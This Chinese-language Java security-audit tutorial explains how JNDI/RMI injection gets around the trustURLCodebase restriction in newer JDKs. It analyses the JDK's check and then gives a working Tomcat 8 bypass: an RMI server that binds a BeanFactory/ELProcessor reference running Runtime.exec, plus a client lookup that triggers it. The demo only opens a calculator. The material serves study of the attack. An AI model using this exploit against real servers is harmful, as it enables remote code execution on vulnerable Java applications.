【Java代码审计】JNDI+RMI绕过高版本JDK的限制
- 1.高版本JDK利用注入导致的问题
- 2.绕过分析
- 3.Tomcat8绕过
- 4.工具绕过
1.高版本JDK利用注入导致的问题
JDK 6u132、7u122、8u113 开始 com.sun.jndi.rmi.object.trustURLCodebase
默认值为false,运行时需加入参数 -Dcom.sun.jndi.rmi.object.trustURLCodebase=true
。因为如果 JDK 高于这些版本,默认是不信任远程代码的,因此也就无法加载远程 RMI 代码
添加启动参数:
-Dcom.sun.jndi.rmi.object.trustURLCodebase=true
2.绕过分析
限制远程代码加载的部分代码:
if (var8 != null && var8.getFactoryClassLocation() != null && !trustURLCodebase) {throw new ConfigurationException("The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.");
} else {return NamingManager.getObjectInstance(var3, var2, this, this.environment);
}
trustURLCodebase
在较高版本JDK中默认值为false,也就是无法加载远程代码
因此为了绕过这里 ConfigurationException
的限制,我们有三种方法: 令 ref 为空,或者令 ref.getFactoryClassLocation()
为空,或者 令 trustURLCodebase
为 true
1、令 var8 为空
var8的定义部分在这里:
Reference var8 = null;
if (var3 instanceof Reference) {var8 = (Reference)var3;
} else if (var3 instanceof Referenceable) {var8 = ((Referenceable)((Referenceable)var3)).getReference();
}
从语义上看需要 obj 既不是 Reference 也不是 Referenceable。即,不能是对象引用,只能是原始对象,这时候客户端直接实例化本地对象,远程 RMI 没有操作的空间,因此这种情况不太好利用
2、令 trustURLCodebase
为 true
即在命令行指定 com.sun.jndi.rmi.object.trustURLCodebase
参数
3、令 ref.getFactoryClassLocation()
返回空。即,让 ref 对象的 classFactoryLocation 属性为空,这个属性表示引用所指向对象的对应 factory 名称,对于远程代码加载而言是 codebase,即远程代码的 URL 地址(可以是多个地址,以空格分隔),这正是我们上文针对低版本的利用方法;如果对应的 factory 是本地代码,则该值为空,这是绕过高版本 JDK 限制的关键
可以看一下getFactoryClassLocation()
方法,以及返回值的赋值情况:
classFactoryLocation属性赋值的两处:
public Reference(String className, String factory, String factoryLocation) {this(className);classFactory = factory;classFactoryLocation = factoryLocation;
}
public Reference(String className, RefAddr addr,String factory, String factoryLocation) {this(className, addr);classFactory = factory;classFactoryLocation = factoryLocation;
}
所以我们的绕过有了一个明确的目标,就是将外部传入的factoryLocation(远程URL)变为空,也就是不使用外部URL地址,那么只需要在攻击者本地CLASSPATH找到这个Reference Factory类并且在这四个地方其中一块能执行payload就可以了。但getObjectInstance方法需要你的类实现javax.naming.spi.ObjectFactory接口。因此,我们实际上可以指定一个存在于目标 classpath 中的工厂类名称,交由这个工厂类去实例化实际的目标类(即引用所指向的类),从而间接实现一定的代码控制
调用栈:
InitialContext#lookup()RegistryContext#lookup()RegistryContext#decodeObject()NamingManager#getObjectInstance()objectfactory = NamingManager#getObjectFactoryFromReference()Class#newInstance() //-->恶意代码被执行或: objectfactory#getObjectInstance() //-->恶意代码被执行
总结:满足要求的工厂类条件:
- 存在于目标本地的 CLASSPATH 中
- 实现
javax.naming.spi.ObjectFactory
接口 - 至少存在一个
getObjectInstance()
方法
3.Tomcat8绕过
存在于 Tomcat 依赖包中的 org.apache.naming.factory.BeanFactory 就是个不错的选择
org.apache.naming.factory.BeanFactory ,这个类在 Tomcat 中,很多 web 应用都会包含
因为要使用 javax.el.ELProcessor,所以需要 Tomcat 8+或SpringBoot 1.2.x+
pom 依赖:
<dependency><groupId>org.apache.tomcat.embed</groupId><artifactId>tomcat-embed-el</artifactId><version>8.5.15</version>
</dependency>
payload:
public class Tomcat8Bypass {public static void main(String[] args) throws Exception {try {Registry registry = LocateRegistry.createRegistry(1099);ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);ref.add(new StringRefAddr("forceString", "x=eval"));ref.add(new StringRefAddr("x", "Runtime.getRuntime().exec(\"open -a Calculator.app\")"));ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);registry.bind("calc", referenceWrapper);System.err.println("Server ready...");} catch (Exception e) {System.err.println("Server exception: " + e.toString());e.printStackTrace();}}
}
客户端测试:
public class jndiTest {public static void main(String[] args) throws Exception {String string = "rmi://localhost:1099/calc";InitialContext initialContext = new InitialContext();initialContext.lookup(string);}
}
成功触发RCE:
4.工具绕过
JNDI-Injection-Bypass